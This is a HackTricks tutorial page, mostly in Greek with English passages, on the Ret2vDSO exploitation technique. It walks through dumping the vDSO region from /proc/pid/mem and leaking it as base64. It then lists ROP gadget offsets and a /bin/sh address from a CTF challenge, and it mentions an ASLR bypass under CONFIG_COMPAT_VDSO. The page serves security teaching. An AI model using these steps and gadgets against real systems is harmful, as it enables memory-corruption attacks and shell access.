Ret2vDSO
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
There might be gadgets in the vDSO region, which is a small ELF DSO mapped by the kernel to provide fast user-space implementations of some kernel helpers. Σε αυτού του είδους τις προκλήσεις, συνήθως παρέχεται μια εικόνα kernel για να κάνετε dump της περιοχής vDSO.
Εντοπισμός της βάσης και των εξαγωγών του vDSO
The vDSO base address is passed in the auxiliary vector as AT_SYSINFO_EHDR, so if you can read /proc/<pid>/auxv (or call getauxval in a helper process), you can recover the base without relying on a memory leak. See Auxiliary Vector (auxv) and vDSO for practical ways to obtain it.
Μόλις έχετε τη βάση, αντιμετωπίστε το vDSO σαν ένα κανονικό ELF DSO (linux-vdso.so.1): κάντε dump το mapping και χρησιμοποιήστε readelf -Ws/objdump -d (ή τον kernel reference parser tools/testing/selftests/vDSO/parse_vdso.c) για να επιλύσετε τα exported symbols και να αναζητήσετε gadgets. Σε x86 32-bit το vDSO συνήθως εξάγει __kernel_vsyscall, __kernel_sigreturn, και __kernel_rt_sigreturn; σε x86_64 τυπικές εξαγωγές περιλαμβάνουν __vdso_clock_gettime, __vdso_gettimeofday, και __vdso_time. Επειδή το vDSO χρησιμοποιεί symbol versioning, ταιριάξτε την αναμενόμενη έκδοση όταν επιλύετε σύμβολα.
Following the example from https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ it’s possible to see how it was possible to dump the vdso section and move it to the host with:
# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317 /target
08049000-0804a000 r-xp 00001000 00:02 317 /target
0804a000-0804b000 rw-p 00002000 00:02 317 /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
# Compress and leak it
gzip vdso
base64 vdso.gz
# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
Βρέθηκαν ROP gadgets:
vdso_addr = 0xf7ffc000
int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800
# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
Caution
Σημειώστε επομένως πώς μπορεί να είναι δυνατό να παρακαμφθεί το ASLR εκμεταλλευόμενο το vdso εάν ο kernel είναι compiled με CONFIG_COMPAT_VDSO καθώς η διεύθυνση του vdso δεν θα τυχαιοποιείται: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639
ARM64
Μετά το dump και τον έλεγχο του vdso section ενός binary στο kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κάποιο ενδιαφέρον gadget (κανένας τρόπος να ελέγξω registers από τιμές στη stack ή να ελέγξω το x30 για ένα ret) εκτός από έναν τρόπο να καλέσω SROP. Δείτε περισσότερες πληροφορίες στο παράδειγμα της σελίδας:
Αναφορές
- https://man7.org/linux/man-pages/man7/vdso.7.html
- https://www.kernel.org/doc/Documentation/ABI/stable/vdso
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


